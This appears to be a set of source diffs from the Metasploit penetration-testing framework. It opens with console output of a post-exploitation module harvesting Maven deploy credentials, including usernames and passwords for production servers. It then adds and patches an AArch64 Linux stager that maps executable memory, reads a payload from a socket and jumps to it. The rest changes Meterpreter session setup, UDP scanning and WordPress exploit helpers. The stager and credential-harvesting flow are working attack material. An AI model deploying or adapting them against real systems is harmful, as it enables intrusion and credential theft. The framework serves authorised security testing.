[*] Try to find url from id...
|
||||||
|
[*] Found url in mirror : http://www.myhost.com/int
|
||||||
|
|
||||||
|
[*] Collected the following credentials:
|
||||||
|
[*] Id: server-nexus-prd
|
||||||
|
[*] Username: deploynexus-prd
|
||||||
|
[*] Password: password-prd
|
||||||
|
[*] Try to find url from id...
|
||||||
|
[*] Found url in repository : http://www.myhost.com/prd
|
||||||
|
|
||||||
|
|
||||||
|
msf post(maven_creds) > creds
|
||||||
|
|
||||||
|
Credentials
|
||||||
|
===========
|
||||||
|
|
||||||
|
host origin service public private realm private_type
|
||||||
|
---- ------ ------- ------ ------- ----- ------------
|
||||||
|
deploynexus-dev password-dev server-nexus-dev Password
|
||||||
|
deploynexus-int password-int http://www.myhost.com/int Password
|
||||||
|
deploynexus-prd password-prd http://www.myhost.com/prd Password
|
|
@ -1,2 +1,2 @@
|
||||||
Meterpreter source code has moved to its own repository, hosted at
|
Meterpreter source code is part of the metasploit-payloads repository, hosted at
|
||||||
https://github.com/rapid7/meterpreter
|
https://github.com/rapid7/metasploit-payloads
|
||||||
|
|
|
@ -0,0 +1,98 @@
|
||||||
|
.equ SYS_READ, 0x3f
|
||||||
|
.equ SYS_MMAP, 0xde
|
||||||
|
.equ SYS_EXIT, 0x5d
|
||||||
|
|
||||||
|
start:
|
||||||
|
adr x2, size
|
||||||
|
ldr w2, [x2]
|
||||||
|
mov x10, x2
|
||||||
|
|
||||||
|
/* Page-align, assume <4GB */
|
||||||
|
lsr x2, x2, #12
|
||||||
|
add x2, x2, #1
|
||||||
|
lsl x2, x2, #12
|
||||||
|
|
||||||
|
/* mmap(addr=0, length='x2', prot=7, flags=34, fd=0, offset=0) */
|
||||||
|
mov x0, xzr
|
||||||
|
mov x1, x2
|
||||||
|
mov x2, #7
|
||||||
|
mov x3, #34
|
||||||
|
mov x4, xzr
|
||||||
|
mov x5, xzr
|
||||||
|
mov x8, SYS_MMAP
|
||||||
|
svc 0
|
||||||
|
|
||||||
|
/* Grab the saved size, save the address */
|
||||||
|
mov x4, x10
|
||||||
|
|
||||||
|
/* Save the memory address */
|
||||||
|
mov x3, x0
|
||||||
|
mov x10, x0
|
||||||
|
|
||||||
|
read_loop:
|
||||||
|
/* read(sockfd, buf='x3', nbytes='x4') */
|
||||||
|
mov x0, x12
|
||||||
|
mov x1, x3
|
||||||
|
mov x2, x4
|
||||||
|
mov x8, SYS_READ
|
||||||
|
svc 0
|
||||||
|
cbz w0, failed
|
||||||
|
add x3, x3, x0
|
||||||
|
subs x4, x4, x0
|
||||||
|
bne read_loop
|
||||||
|
|
||||||
|
/* add entry_offset */
|
||||||
|
adr x0, entry
|
||||||
|
ldr x0, [x0]
|
||||||
|
add x0, x0, x10
|
||||||
|
mov x14, x0
|
||||||
|
|
||||||
|
/* set up the initial stack */
|
||||||
|
mov x0, sp
|
||||||
|
and sp, x0, #-16
|
||||||
|
add sp, sp, #(16 * 6)
|
||||||
|
|
||||||
|
/* argc = 2, argv[0] = 'm' */
|
||||||
|
mov x0, #2
|
||||||
|
mov x1, #109
|
||||||
|
str x1, [sp]
|
||||||
|
mov x1, sp
|
||||||
|
|
||||||
|
mov x2, x12
|
||||||
|
mov x3, 0
|
||||||
|
|
||||||
|
mov x4, 0
|
||||||
|
mov x5, #7 /* AT_BASE */
|
||||||
|
|
||||||
|
mov x6, x10
|
||||||
|
mov x7, #6 /* AT_PAGESZ */
|
||||||
|
|
||||||
|
mov x8, #0x1000
|
||||||
|
mov x9, #25 /* AT_RANDOM */
|
||||||
|
|
||||||
|
mov x10, x10
|
||||||
|
mov x11, #0 /* AT_NULL */
|
||||||
|
|
||||||
|
stp x10, x11, [sp, #-16]!
|
||||||
|
stp x8, x9, [sp, #-16]!
|
||||||
|
stp x6, x7, [sp, #-16]!
|
||||||
|
stp x4, x5, [sp, #-16]!
|
||||||
|
stp x2, x3, [sp, #-16]!
|
||||||
|
stp x0, x1, [sp, #-16]!
|
||||||
|
|
||||||
|
mov x29, #0
|
||||||
|
mov x30, #0
|
||||||
|
br x14
|
||||||
|
|
||||||
|
failed:
|
||||||
|
mov x0, 0
|
||||||
|
mov x8, SYS_EXIT
|
||||||
|
svc 0
|
||||||
|
|
||||||
|
.balign 16
|
||||||
|
size:
|
||||||
|
.word 0
|
||||||
|
.word 0
|
||||||
|
entry:
|
||||||
|
.word 0
|
||||||
|
.word 0
|
|
@ -37,9 +37,10 @@ start:
|
||||||
mov x2, #4
|
mov x2, #4
|
||||||
mov x8, SYS_READ
|
mov x8, SYS_READ
|
||||||
svc 0
|
svc 0
|
||||||
cbz w0, failed
|
cmn x0, #0x1
|
||||||
|
beq failed
|
||||||
|
|
||||||
ldr x2, [sp,#0]
|
ldr w2, [sp,#0]
|
||||||
|
|
||||||
/* Page-align, assume <4GB */
|
/* Page-align, assume <4GB */
|
||||||
lsr x2, x2, #12
|
lsr x2, x2, #12
|
||||||
|
@ -53,12 +54,13 @@ start:
|
||||||
mov x3, #34
|
mov x3, #34
|
||||||
mov x4, xzr
|
mov x4, xzr
|
||||||
mov x5, xzr
|
mov x5, xzr
|
||||||
/* call mmap() */
|
mov x8, SYS_MMAP
|
||||||
movi x8, SYS_MMAP
|
|
||||||
svc 0
|
svc 0
|
||||||
|
cmn x0, #0x1
|
||||||
|
beq failed
|
||||||
|
|
||||||
/* Grab the saved size, save the address */
|
/* Grab the saved size, save the address */
|
||||||
ldr x4, [sp]
|
ldr w4, [sp]
|
||||||
|
|
||||||
/* Save the memory address */
|
/* Save the memory address */
|
||||||
str x0, [sp]
|
str x0, [sp]
|
||||||
|
@ -73,13 +75,15 @@ read_loop:
|
||||||
mov x2, x4
|
mov x2, x4
|
||||||
mov x8, SYS_READ
|
mov x8, SYS_READ
|
||||||
svc 0
|
svc 0
|
||||||
|
cmn x0, #0x1
|
||||||
|
beq failed
|
||||||
add x3, x3, x0
|
add x3, x3, x0
|
||||||
subs x4, x4, x0
|
subs x4, x4, x0
|
||||||
bne read_loop
|
bne read_loop
|
||||||
|
|
||||||
/* Go to shellcode */
|
/* Go to shellcode */
|
||||||
ldr x30, [sp]
|
ldr x0, [sp]
|
||||||
ret
|
blr x0
|
||||||
|
|
||||||
failed:
|
failed:
|
||||||
mov x0, 0
|
mov x0, 0
|
||||||
|
|
|
@ -30,7 +30,7 @@ module Metasploit
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
VERSION = "4.16.0"
|
VERSION = "4.16.9"
|
||||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||||
PRERELEASE = 'dev'
|
PRERELEASE = 'dev'
|
||||||
HASH = get_hash
|
HASH = get_hash
|
||||||
|
|
|
@ -582,7 +582,7 @@ class ReadableText
|
||||||
row << 'N'
|
row << 'N'
|
||||||
end
|
end
|
||||||
|
|
||||||
if session.exploit_datastore.has_key?('LURI') && !session.exploit_datastore['LURI'].empty?
|
if session.exploit_datastore && session.exploit_datastore.has_key?('LURI') && !session.exploit_datastore['LURI'].empty?
|
||||||
row << " (#{session.exploit_datastore['LURI']})"
|
row << " (#{session.exploit_datastore['LURI']})"
|
||||||
else
|
else
|
||||||
row << '?'
|
row << '?'
|
||||||
|
@ -622,7 +622,7 @@ class ReadableText
|
||||||
sess_type = session.type.to_s
|
sess_type = session.type.to_s
|
||||||
sess_uuid = session.payload_uuid.to_s
|
sess_uuid = session.payload_uuid.to_s
|
||||||
sess_puid = session.payload_uuid.respond_to?(:puid_hex) ? session.payload_uuid.puid_hex : nil
|
sess_puid = session.payload_uuid.respond_to?(:puid_hex) ? session.payload_uuid.puid_hex : nil
|
||||||
sess_luri = session.exploit_datastore['LURI'] || ""
|
sess_luri = session.exploit_datastore['LURI'] || "" if session.exploit_datastore
|
||||||
sess_enc = false
|
sess_enc = false
|
||||||
if session.respond_to?(:tlv_enc_key) && session.tlv_enc_key && session.tlv_enc_key[:key]
|
if session.respond_to?(:tlv_enc_key) && session.tlv_enc_key && session.tlv_enc_key[:key]
|
||||||
sess_enc = true
|
sess_enc = true
|
||||||
|
@ -655,7 +655,7 @@ class ReadableText
|
||||||
out << " UUID: #{sess_uuid}\n"
|
out << " UUID: #{sess_uuid}\n"
|
||||||
out << " CheckIn: #{sess_checkin}\n"
|
out << " CheckIn: #{sess_checkin}\n"
|
||||||
out << " Registered: #{sess_registration}\n"
|
out << " Registered: #{sess_registration}\n"
|
||||||
unless sess_luri.empty?
|
unless (sess_luri || '').empty?
|
||||||
out << " LURI: #{sess_luri}\n"
|
out << " LURI: #{sess_luri}\n"
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -196,6 +196,10 @@ class HWBridge < Rex::Post::HWBridge::Client
|
||||||
|
|
||||||
attr_accessor :console # :nodoc:
|
attr_accessor :console # :nodoc:
|
||||||
attr_accessor :alive # :nodoc:
|
attr_accessor :alive # :nodoc:
|
||||||
|
attr_accessor :api_version
|
||||||
|
attr_accessor :fw_version
|
||||||
|
attr_accessor :hw_version
|
||||||
|
attr_accessor :device_name
|
||||||
private
|
private
|
||||||
attr_accessor :rstream # :nodoc:
|
attr_accessor :rstream # :nodoc:
|
||||||
|
|
||||||
|
|
|
@ -40,6 +40,14 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
||||||
true
|
true
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def tunnel_to_s
|
||||||
|
if self.pivot_session
|
||||||
|
"Pivot via [#{self.pivot_session.tunnel_to_s}]"
|
||||||
|
else
|
||||||
|
super
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Initializes a meterpreter session instance using the supplied rstream
|
# Initializes a meterpreter session instance using the supplied rstream
|
||||||
# that is to be used as the client's connection to the server.
|
# that is to be used as the client's connection to the server.
|
||||||
|
@ -112,6 +120,80 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def bootstrap(datastore = {}, handler = nil)
|
||||||
|
session = self
|
||||||
|
|
||||||
|
init_session = Proc.new do
|
||||||
|
# Configure unicode encoding before loading stdapi
|
||||||
|
session.encode_unicode = datastore['EnableUnicodeEncoding']
|
||||||
|
|
||||||
|
session.init_ui(self.user_input, self.user_output)
|
||||||
|
|
||||||
|
session.tlv_enc_key = session.core.negotiate_tlv_encryption
|
||||||
|
|
||||||
|
unless datastore['AutoVerifySession'] == false
|
||||||
|
unless session.is_valid_session?(datastore['AutoVerifySessionTimeout'].to_i)
|
||||||
|
print_error("Meterpreter session #{session.sid} is not valid and will be closed")
|
||||||
|
# Terminate the session without cleanup if it did not validate
|
||||||
|
session.skip_cleanup = true
|
||||||
|
session.kill
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# always make sure that the new session has a new guid if it's not already known
|
||||||
|
guid = session.session_guid
|
||||||
|
if guid == "\x00" * 16
|
||||||
|
guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
|
||||||
|
session.core.set_session_guid(guid)
|
||||||
|
session.session_guid = guid
|
||||||
|
# TODO: New statgeless session, do some account in the DB so we can track it later.
|
||||||
|
else
|
||||||
|
# TODO: This session was either staged or previously known, and so we shold do some accounting here!
|
||||||
|
end
|
||||||
|
|
||||||
|
unless datastore['AutoLoadStdapi'] == false
|
||||||
|
|
||||||
|
session.load_stdapi
|
||||||
|
|
||||||
|
unless datastore['AutoSystemInfo'] == false
|
||||||
|
session.load_session_info
|
||||||
|
end
|
||||||
|
|
||||||
|
# only load priv on native windows
|
||||||
|
# TODO: abastrct this too, to remove windows stuff
|
||||||
|
if session.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(session.arch)
|
||||||
|
session.load_priv rescue nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# TODO: abstract this a little, perhaps a "post load" function that removes
|
||||||
|
# platform-specific stuff?
|
||||||
|
if session.platform == 'android'
|
||||||
|
session.load_android
|
||||||
|
end
|
||||||
|
|
||||||
|
['InitialAutoRunScript', 'AutoRunScript'].each do |key|
|
||||||
|
unless datastore[key].nil? || datastore[key].empty?
|
||||||
|
args = Shellwords.shellwords(datastore[key])
|
||||||
|
print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'")
|
||||||
|
session.execute_script(args.shift, *args)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Process the auto-run scripts for this session
|
||||||
|
if self.respond_to?(:process_autoruns)
|
||||||
|
self.process_autoruns(datastore)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Tell the handler that we have a session
|
||||||
|
handler.on_session(self) if handler
|
||||||
|
end
|
||||||
|
|
||||||
|
# Defer the session initialization to the Session Manager scheduler
|
||||||
|
framework.sessions.schedule init_session
|
||||||
|
end
|
||||||
|
|
||||||
##
|
##
|
||||||
# :category: Msf::Session::Provider::SingleCommandShell implementors
|
# :category: Msf::Session::Provider::SingleCommandShell implementors
|
||||||
#
|
#
|
||||||
|
@ -255,14 +337,14 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
||||||
#
|
#
|
||||||
# Terminates the session
|
# Terminates the session
|
||||||
#
|
#
|
||||||
def kill
|
def kill(reason='')
|
||||||
begin
|
begin
|
||||||
cleanup_meterpreter
|
cleanup_meterpreter
|
||||||
self.sock.close if self.sock
|
self.sock.close if self.sock
|
||||||
rescue ::Exception
|
rescue ::Exception
|
||||||
end
|
end
|
||||||
# deregister will actually trigger another cleanup
|
# deregister will actually trigger another cleanup
|
||||||
framework.sessions.deregister(self)
|
framework.sessions.deregister(self, reason)
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -3,105 +3,74 @@
|
||||||
require 'shellwords'
|
require 'shellwords'
|
||||||
|
|
||||||
module Msf
|
module Msf
|
||||||
module Sessions
|
module Sessions
|
||||||
module MeterpreterOptions
|
#
|
||||||
|
# Defines common options across all Meterpreter implementations
|
||||||
|
#
|
||||||
|
module MeterpreterOptions
|
||||||
|
|
||||||
def initialize(info = {})
|
TIMEOUT_SESSION = 24 * 3600 * 7 # 1 week
|
||||||
super(info)
|
TIMEOUT_COMMS = 300 # 5 minutes
|
||||||
|
TIMEOUT_RETRY_TOTAL = 60 * 60 # 1 hour
|
||||||
|
TIMEOUT_RETRY_WAIT = 10 # 10 seconds
|
||||||
|
|
||||||
register_advanced_options(
|
def initialize(info = {})
|
||||||
[
|
super(info)
|
||||||
OptBool.new('AutoLoadStdapi', [true, "Automatically load the Stdapi extension", true]),
|
|
||||||
OptBool.new('AutoVerifySession', [true, "Automatically verify and drop invalid sessions", true]),
|
register_advanced_options(
|
||||||
OptInt.new('AutoVerifySessionTimeout', [false, "Timeout period to wait for session validation to occur, in seconds", 30]),
|
[
|
||||||
OptString.new('InitialAutoRunScript', [false, "An initial script to run on session creation (before AutoRunScript)", '']),
|
OptBool.new(
|
||||||
OptString.new('AutoRunScript', [false, "A script to run automatically on session creation.", '']),
|
'AutoLoadStdapi',
|
||||||
OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]),
|
[true, "Automatically load the Stdapi extension", true]
|
||||||
OptBool.new('EnableUnicodeEncoding', [true, "Automatically encode UTF-8 strings as hexadecimal", Rex::Compat.is_windows]),
|
),
|
||||||
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format, ignored for HTTP transports"]),
|
OptBool.new(
|
||||||
OptInt.new('SessionRetryTotal', [false, "Number of seconds try reconnecting for on network failure", Rex::Post::Meterpreter::ClientCore::TIMEOUT_RETRY_TOTAL]),
|
'AutoVerifySession',
|
||||||
OptInt.new('SessionRetryWait', [false, "Number of seconds to wait between reconnect attempts", Rex::Post::Meterpreter::ClientCore::TIMEOUT_RETRY_WAIT]),
|
[true, "Automatically verify and drop invalid sessions", true]
|
||||||
OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcibly shut down', Rex::Post::Meterpreter::ClientCore::TIMEOUT_SESSION]),
|
),
|
||||||
OptInt.new('SessionCommunicationTimeout', [ false, 'The number of seconds of no activity before this session should be killed', Rex::Post::Meterpreter::ClientCore::TIMEOUT_COMMS])
|
OptInt.new(
|
||||||
], self.class)
|
'AutoVerifySessionTimeout',
|
||||||
|
[false, "Timeout period to wait for session validation to occur, in seconds", 30]
|
||||||
|
),
|
||||||
|
OptString.new(
|
||||||
|
'InitialAutoRunScript',
|
||||||
|
[false, "An initial script to run on session creation (before AutoRunScript)", '']
|
||||||
|
),
|
||||||
|
OptString.new(
|
||||||
|
'AutoRunScript',
|
||||||
|
[false, "A script to run automatically on session creation.", '']
|
||||||
|
),
|
||||||
|
OptBool.new(
|
||||||
|
'AutoSystemInfo',
|
||||||
|
[true, "Automatically capture system information on initialization.", true]
|
||||||
|
),
|
||||||
|
OptBool.new(
|
||||||
|
'EnableUnicodeEncoding',
|
||||||
|
[true, "Automatically encode UTF-8 strings as hexadecimal", Rex::Compat.is_windows]
|
||||||
|
),
|
||||||
|
OptPath.new(
|
||||||
|
'HandlerSSLCert',
|
||||||
|
[false, "Path to a SSL certificate in unified PEM format, ignored for HTTP transports"]
|
||||||
|
),
|
||||||
|
OptInt.new(
|
||||||
|
'SessionRetryTotal',
|
||||||
|
[false, "Number of seconds try reconnecting for on network failure", TIMEOUT_RETRY_TOTAL]
|
||||||
|
),
|
||||||
|
OptInt.new(
|
||||||
|
'SessionRetryWait',
|
||||||
|
[false, "Number of seconds to wait between reconnect attempts", TIMEOUT_RETRY_WAIT]
|
||||||
|
),
|
||||||
|
OptInt.new(
|
||||||
|
'SessionExpirationTimeout',
|
||||||
|
[ false, 'The number of seconds before this session should be forcibly shut down', TIMEOUT_SESSION]
|
||||||
|
),
|
||||||
|
OptInt.new(
|
||||||
|
'SessionCommunicationTimeout',
|
||||||
|
[ false, 'The number of seconds of no activity before this session should be killed', TIMEOUT_COMMS]
|
||||||
|
)
|
||||||
|
],
|
||||||
|
self.class
|
||||||
|
)
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Once a session is created, automatically load the stdapi extension if the
|
|
||||||
# advanced option is set to true.
|
|
||||||
#
|
|
||||||
def on_session(session)
|
|
||||||
super
|
|
||||||
|
|
||||||
# Defer the session initialization to the Session Manager scheduler
|
|
||||||
framework.sessions.schedule Proc.new {
|
|
||||||
|
|
||||||
# Configure unicode encoding before loading stdapi
|
|
||||||
session.encode_unicode = datastore['EnableUnicodeEncoding']
|
|
||||||
|
|
||||||
session.init_ui(self.user_input, self.user_output)
|
|
||||||
|
|
||||||
valid = true
|
|
||||||
|
|
||||||
session.tlv_enc_key = session.core.negotiate_tlv_encryption
|
|
||||||
|
|
||||||
if datastore['AutoVerifySession']
|
|
||||||
if not session.is_valid_session?(datastore['AutoVerifySessionTimeout'].to_i)
|
|
||||||
print_error("Meterpreter session #{session.sid} is not valid and will be closed")
|
|
||||||
valid = false
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
if valid
|
|
||||||
# always make sure that the new session has a new guid if it's not already known
|
|
||||||
guid = session.session_guid
|
|
||||||
if guid == '00000000-0000-0000-0000-000000000000'
|
|
||||||
guid = SecureRandom.uuid
|
|
||||||
session.core.set_session_guid(guid)
|
|
||||||
session.session_guid = guid
|
|
||||||
# TODO: New statgeless session, do some account in the DB so we can track it later.
|
|
||||||
else
|
|
||||||
# TODO: This session was either staged or previously known, and so we shold do some accounting here!
|
|
||||||
end
|
|
||||||
|
|
||||||
if datastore['AutoLoadStdapi']
|
|
||||||
|
|
||||||
session.load_stdapi
|
|
||||||
|
|
||||||
if datastore['AutoSystemInfo']
|
|
||||||
session.load_session_info
|
|
||||||
end
|
|
||||||
|
|
||||||
# only load priv on native windows
|
|
||||||
if session.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(session.arch)
|
|
||||||
session.load_priv rescue nil
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
if session.platform == 'android'
|
|
||||||
session.load_android
|
|
||||||
end
|
|
||||||
|
|
||||||
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
|
|
||||||
unless datastore[key].empty?
|
|
||||||
args = Shellwords.shellwords( datastore[key] )
|
|
||||||
print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'")
|
|
||||||
session.execute_script(args.shift, *args)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# Terminate the session without cleanup if it did not validate
|
|
||||||
if not valid
|
|
||||||
session.skip_cleanup = true
|
|
||||||
session.kill
|
|
||||||
end
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
|
@ -44,6 +44,7 @@ module Auxiliary::Login
|
||||||
Unable | Error | Denied | Reject |
|
Unable | Error | Denied | Reject |
|
||||||
Refuse | Close | Closing | %\ Bad |
|
Refuse | Close | Closing | %\ Bad |
|
||||||
Sorry |
|
Sorry |
|
||||||
|
^http | html |
|
||||||
Not\ on\ system\ console |
|
Not\ on\ system\ console |
|
||||||
Enter\ username\ and\ password |
|
Enter\ username\ and\ password |
|
||||||
Auto\ Apply\ On |
|
Auto\ Apply\ On |
|
||||||
|
|
|
@ -43,18 +43,20 @@ module Auxiliary::UDPScanner
|
||||||
datastore['BATCHSIZE'].to_i
|
datastore['BATCHSIZE'].to_i
|
||||||
end
|
end
|
||||||
|
|
||||||
def udp_socket(ip, port)
|
def udp_socket(ip, port, bind_peer: true)
|
||||||
|
key = "#{ip}:#{port}:#{bind_peer ? 'bound' : 'unbound'}"
|
||||||
@udp_sockets_mutex.synchronize do
|
@udp_sockets_mutex.synchronize do
|
||||||
key = "#{ip}:#{port}"
|
|
||||||
unless @udp_sockets.key?(key)
|
unless @udp_sockets.key?(key)
|
||||||
@udp_sockets[key] =
|
sock_info = {
|
||||||
Rex::Socket::Udp.create({
|
'LocalHost' => datastore['CHOST'] || nil,
|
||||||
'LocalHost' => datastore['CHOST'] || nil,
|
'LocalPort' => datastore['CPORT'] || 0,
|
||||||
'LocalPort' => datastore['CPORT'] || 0,
|
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
|
||||||
'PeerHost' => ip,
|
}
|
||||||
'PeerPort' => port,
|
if bind_peer
|
||||||
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
|
sock_info['PeerHost'] = ip
|
||||||
})
|
sock_info['PeerPort'] = port
|
||||||
|
end
|
||||||
|
@udp_sockets[key] = Rex::Socket::Udp.create(sock_info)
|
||||||
add_socket(@udp_sockets[key])
|
add_socket(@udp_sockets[key])
|
||||||
end
|
end
|
||||||
return @udp_sockets[key]
|
return @udp_sockets[key]
|
||||||
|
@ -123,10 +125,16 @@ module Auxiliary::UDPScanner
|
||||||
data = data.to_binary_s if data.respond_to?('to_binary_s')
|
data = data.to_binary_s if data.respond_to?('to_binary_s')
|
||||||
|
|
||||||
resend_count = 0
|
resend_count = 0
|
||||||
sock = nil
|
|
||||||
begin
|
begin
|
||||||
sock = udp_socket(ip, port)
|
addrinfo = Addrinfo.ip(ip)
|
||||||
sock.send(data, 0)
|
unless addrinfo.ipv4_multicast? || addrinfo.ipv6_multicast?
|
||||||
|
sock = udp_socket(ip, port, bind_peer: true)
|
||||||
|
sock.send(data, 0)
|
||||||
|
else
|
||||||
|
sock = udp_socket(ip, port, bind_peer: false)
|
||||||
|
sock.sendto(data, ip, port, 0)
|
||||||
|
end
|
||||||
|
|
||||||
rescue ::Errno::ENOBUFS
|
rescue ::Errno::ENOBUFS
|
||||||
resend_count += 1
|
resend_count += 1
|
||||||
|
@ -136,8 +144,7 @@ module Auxiliary::UDPScanner
|
||||||
end
|
end
|
||||||
|
|
||||||
scanner_recv(0.1)
|
scanner_recv(0.1)
|
||||||
|
sleep(0.25)
|
||||||
::IO.select(nil, nil, nil, 0.25)
|
|
||||||
|
|
||||||
retry
|
retry
|
||||||
|
|
||||||
|
|
|
@ -74,7 +74,7 @@ module Msf::DBManager::Import::Nessus::XML::V2
|
||||||
nasl = item['nasl'].to_s
|
nasl = item['nasl'].to_s
|
||||||
nasl_name = item['nasl_name'].to_s
|
nasl_name = item['nasl_name'].to_s
|
||||||
port = item['port'].to_s
|
port = item['port'].to_s
|
||||||
proto = item['proto'] || "tcp"
|
proto = item['proto'] ? item['proto'].downcase : "tcp"
|
||||||
sname = item['svc_name']
|
sname = item['svc_name']
|
||||||
severity = item['severity']
|
severity = item['severity']
|
||||||
description = item['description']
|
description = item['description']
|
||||||
|
|
|
@ -10,12 +10,12 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers
|
||||||
# @param pass [String] Password
|
# @param pass [String] Password
|
||||||
# @param redirect URL [String] to redirect after successful login
|
# @param redirect URL [String] to redirect after successful login
|
||||||
# @return [Hash] The post data for vars_post Parameter
|
# @return [Hash] The post data for vars_post Parameter
|
||||||
def wordpress_helper_login_post_data(user, pass, redirect=nil)
|
def wordpress_helper_login_post_data(user, pass, redirect = nil)
|
||||||
post_data = {
|
post_data = {
|
||||||
'log' => user.to_s,
|
'log' => user.to_s,
|
||||||
'pwd' => pass.to_s,
|
'pwd' => pass.to_s,
|
||||||
'redirect_to' => redirect.to_s,
|
'redirect_to' => redirect.to_s,
|
||||||
'wp-submit' => 'Login'
|
'wp-submit' => 'Login'
|
||||||
}
|
}
|
||||||
post_data
|
post_data
|
||||||
end
|
end
|
||||||
|
@ -31,23 +31,23 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers
|
||||||
# @return [String,nil] The location of the new comment/post, nil on error
|
# @return [String,nil] The location of the new comment/post, nil on error
|
||||||
def wordpress_helper_post_comment(comment, comment_post_id, login_cookie, author, email, url)
|
def wordpress_helper_post_comment(comment, comment_post_id, login_cookie, author, email, url)
|
||||||
vars_post = {
|
vars_post = {
|
||||||
'comment' => comment,
|
'comment' => comment,
|
||||||
'submit' => 'Post+Comment',
|
'submit' => 'Post+Comment',
|
||||||
'comment_post_ID' => comment_post_id.to_s,
|
'comment_post_ID' => comment_post_id.to_s,
|
||||||
'comment_parent' => '0'
|
'comment_parent' => '0'
|
||||||
}
|
}
|
||||||
vars_post.merge!({
|
vars_post.merge!({
|
||||||
'author' => author,
|
'author' => author,
|
||||||
'email' => email,
|
'email' => email,
|
||||||
'url' => url,
|
'url' => url
|
||||||
}) unless login_cookie
|
}) unless login_cookie
|
||||||
|
|
||||||
options = {
|
options = {
|
||||||
'uri' => normalize_uri(target_uri.path, 'wp-comments-post.php'),
|
'uri' => normalize_uri(target_uri.path, 'wp-comments-post.php'),
|
||||||
'method' => 'POST'
|
'method' => 'POST'
|
||||||
}
|
}
|
||||||
options.merge!({'vars_post' => vars_post})
|
options.merge!({ 'vars_post' => vars_post })
|
||||||
options.merge!({'cookie' => login_cookie}) if login_cookie
|
options.merge!({ 'cookie' => login_cookie }) if login_cookie
|
||||||
res = send_request_cgi(options)
|
res = send_request_cgi(options)
|
||||||
if res && res.redirect? && res.redirection
|
if res && res.redirect? && res.redirection
|
||||||
return wordpress_helper_parse_location_header(res)
|
return wordpress_helper_parse_location_header(res)
|
||||||
|
@ -65,7 +65,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers
|
||||||
# @param comments_enabled [Boolean] If true try to find a post id with comments enabled, otherwise return the first found
|
# @param comments_enabled [Boolean] If true try to find a post id with comments enabled, otherwise return the first found
|
||||||
# @param login_cookie [String] A valid login cookie to perform the bruteforce as an authenticated user
|
# @param login_cookie [String] A valid login cookie to perform the bruteforce as an authenticated user
|
||||||
# @return [Integer,nil] The post id, nil when nothing found
|
# @return [Integer,nil] The post id, nil when nothing found
|
||||||
def wordpress_helper_bruteforce_valid_post_id(range, comments_enabled=false, login_cookie=nil)
|
def wordpress_helper_bruteforce_valid_post_id(range, comments_enabled = false, login_cookie = nil)
|
||||||
range.each { |id|
|
range.each { |id|
|
||||||
vprint_status("Checking POST ID #{id}...") if (id % 100) == 0
|
vprint_status("Checking POST ID #{id}...") if (id % 100) == 0
|
||||||
body = wordpress_helper_check_post_id(wordpress_url_post(id), comments_enabled, login_cookie)
|
body = wordpress_helper_check_post_id(wordpress_url_post(id), comments_enabled, login_cookie)
|
||||||
|
@ -81,15 +81,15 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers
|
||||||
# @param comments_enabled [Boolean] Check if comments are enabled on this post
|
# @param comments_enabled [Boolean] Check if comments are enabled on this post
|
||||||
# @param login_cookie [String] A valid login cookie to perform the check as an authenticated user
|
# @param login_cookie [String] A valid login cookie to perform the check as an authenticated user
|
||||||
# @return [String,nil] the HTTP response body of the post, nil otherwise
|
# @return [String,nil] the HTTP response body of the post, nil otherwise
|
||||||
def wordpress_helper_check_post_id(uri, comments_enabled=false, login_cookie=nil)
|
def wordpress_helper_check_post_id(uri, comments_enabled = false, login_cookie = nil)
|
||||||
options = {
|
options = {
|
||||||
'method' => 'GET',
|
'method' => 'GET',
|
||||||
'uri' => uri
|
'uri' => uri
|
||||||
}
|
}
|
||||||
options.merge!({'cookie' => login_cookie}) if login_cookie
|
options.merge!({ 'cookie' => login_cookie }) if login_cookie
|
||||||
res = send_request_cgi(options)
|
res = send_request_cgi(options)
|
||||||
# post exists
|
# post exists
|
||||||
if res and res.code == 200
|
if res && res.code == 200
|
||||||
# also check if comments are enabled
|
# also check if comments are enabled
|
||||||
if comments_enabled
|
if comments_enabled
|
||||||
if res.body =~ /form.*action.*wp-comments-post\.php/
|
